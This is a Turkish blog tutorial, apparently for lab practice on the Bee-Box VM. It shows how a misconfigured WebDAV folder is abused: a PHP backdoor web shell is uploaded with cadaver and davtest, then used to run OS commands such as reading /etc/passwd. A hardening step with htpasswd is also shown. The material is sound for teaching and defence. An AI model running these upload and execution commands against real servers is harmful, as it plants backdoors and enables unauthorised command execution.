Uygun Yapılandırılmamış Web Uygulamalarında WebDAV Özelliğini Cadaver Aracı ile Kötüye Kullanılarak İşletim Sistemi Üzerinde Komut Çalıştırılması

WebDAV özelliği etkinleştirilmiş web uygulamalarında yeterli güvenlik önlemleri alınmamışsa, bu özellik kötüye kullanılabilir. Bu yazıda Bee-Box sanal makinesi üzerinde WebDAV uzantısı etkin bırakılmış ve yeterli güvenlik önlemi alınmamış web sunucusuna Cadaver aracı ile bir web shell dosyası atılacak ve işletim sistemi üzerinde komut çalıştırılacaktır.

Not: Yazıda kullanılan Bee-Box sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

 

1) Mevcut Durumun İncelenmesi

Bee-Box sanal makinesinde WebDAV uzantı konfigürasyonu “/etc/apache2/httpd.conf” dosyasında gerçekleştirilmiştir. Bu dosyada da görüldüğü gibi, uygulamanın kök dizininden sonraki “/webdav” klasörü herhangi bir kimlik doğrulaması veya SSL ile şifreleme gereği duyulmadan tüm kullanıcılara okuma, yazma ve çalıştırma yetkisi ile kullanıma açılmıştır.

cat /etc/apache2/httpd.conf
ls -la /var/www/bWAPP | grep documents
ls -la /var/www/bWAPP/documents/

 

Yapılandırma dosyasında görüldüğü gibi herhangi bir kimlik doğrulama işlemi gerçekleştirilmemektedir. Kimlik doğrulama eklemek için yapılandırma dosyası aşağıdaki gibi güncellenebilir.

 

Yeni bir kullanıcı oluşturmak için “htpasswd” aracı kullanılabilir.

htpasswd -c /etc/apache2/.webdavYetkilendirme yonetici
cat /etc/apache2/.webdavYetkilendirme
/etc/init.d/apache2 restart

 

2) Cadaver Aracı ile Dosya Yükleme

Cadaver aracı ile WebDAV eklentisi etkin uygulama sunucusuna bağlanılarak yetkiler dahilinde dosya okuma/yazma/çalıştırma işlemleri gerçekleştirilebilir. Cadaver aracı ile Bee-Box sanal makinesinde bulunan uygulamanın kök dizininden sonraki “/webdav” klasörüne zararlı bir PHP dosyası atılacak ve bu sayfa çağırılacaktır. Hedef sunucuya atılacak sayfa Kali’de mevcutta bulunan PHP arkakapı dosyasıdır.

ls -la /usr/share/webshells/php/php-backdoor.php
head -20 /usr/share/webshells/php/php-backdoor.php
tail -10 /usr/share/webshells/php/php-backdoor.php

 

Cadaver aracına URL verilerek disk sistemine erişim sağlanabilir.

cadaver http://10.10.2.130/webdav
help
ls
put /usr/share/webshells/php/php-backdoor.php
ls

 

3) Davtest Aracı İle Dosya Yükleme

Davtest aracı ile WebDAV eklentisi etkin uygulama sunucusuna bağlanılarak yetkiler dahilinde dosya eklenebilir.

davtest -url http://10.10.2.130/webdav -uploadfile ‘/usr/share/webshells/php/php-backdoor.php’ -uploadloc ArkaKapi.php

 

Cadaver ve Davtest ile yüklenen dosyalar listelenebilmektedir.

 

4) PHP Dosyasının Çağırılması

Yüklenen PHP dosyası ile işletim sisteminde komut çalıştırılabilir, hedefe dosya atılabilir.

 

Örnek bir komut çıktısı aşağıdaki gibidir.

id; uname -a; head -3 /etc/passwd

 

Kaynaklar:

http://carnal0wnage.attackresearch.com/2007/08/creating-http-options-auxiliary-module.html
http://www.asianux.org.vn/2014/09/19/webdav-vulnerability-detect-exploit/

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.